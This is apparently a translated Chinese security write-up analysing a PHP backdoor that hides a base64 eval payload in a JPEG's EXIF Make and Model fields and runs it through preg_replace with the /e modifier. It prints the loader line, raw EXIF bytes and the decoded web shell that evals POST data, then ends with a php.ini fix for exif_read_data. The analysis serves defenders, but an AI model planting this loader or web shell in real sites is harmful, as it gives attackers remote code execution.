這是一個非常有趣的后門,它並沒有依靠正常模式去隱藏起內容(比如 base64/gzip 編碼),但是它卻把自己的數據隱藏在JPEG圖片的EXIF頭部中了。它也使用exif_read_data和preg_replace兩個PHP函數來讀取EXIF頭部和執行。
細節
這個后門可分為兩部分。第一部分是 exif_read_data 函數讀取圖片頭部,preg_replace 函數來執行內容。下面是我們在被攻破網站上發現的代碼:
$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg'); preg_replace($exif['Make'],$exif['Model'],'');
這兩個函數本身是無害滴。exif_read_data 函數常用來讀取圖片,preg_replace 函數是替代字符內容。不過,preg_replace 函數函數有個隱藏並微妙的選項,如果你傳入 “/e”,它會執行 eval() 中的內容,就不是去查詢/替代了。
所以我們在查看bun.jpg文件時,發現后門的第二部分:
ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30=')); @ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^
這個文件用以常見的頭部開始,但是在 ”make” 頭部中混入了奇怪的關鍵字 ”/.*/e” 。有了這個執行修飾符, preg_replace 會執行 eval() 中傳入的任意內容。
事情變得開始有趣了……
如果咱們繼續來看看 EXIF 數據,我們能發現, “eval ( base64_decode”隱藏在 ”Model“ 頭部。把這些放在一起看,咱們就知道怎么回事了。攻擊者是從 EXIF 中讀取 Make 和 Model 頭部信息,然后傳入到 preg_replace 函數。只要我們修改 $exif['Make'] 和 $exif['Model'] ,就得到了最終的后門。
preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");
解碼后我們可以看到是執行 $_POST["zz1"] 提供的內容。完整解碼后的后面在這里。
if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..
另外一個有意思的是,雖然 bun.jpg 和其他圖片文件被修改了,但然后能加載並正常工作。實際上,在這些被攻破的站點,攻擊者修改了站點上一個合法並之前就存在的圖片。這是一種奇特的隱藏惡意軟件的方法。
附:
Call to undefined function exif_read_data()
讀取圖片Exif信息的程序就報出了:Call to undefined function exif_read_data()
找到解決方案:
extension=php_exif.dll 將其加載順序 改為在
extension=php_mbstring.dll 之后....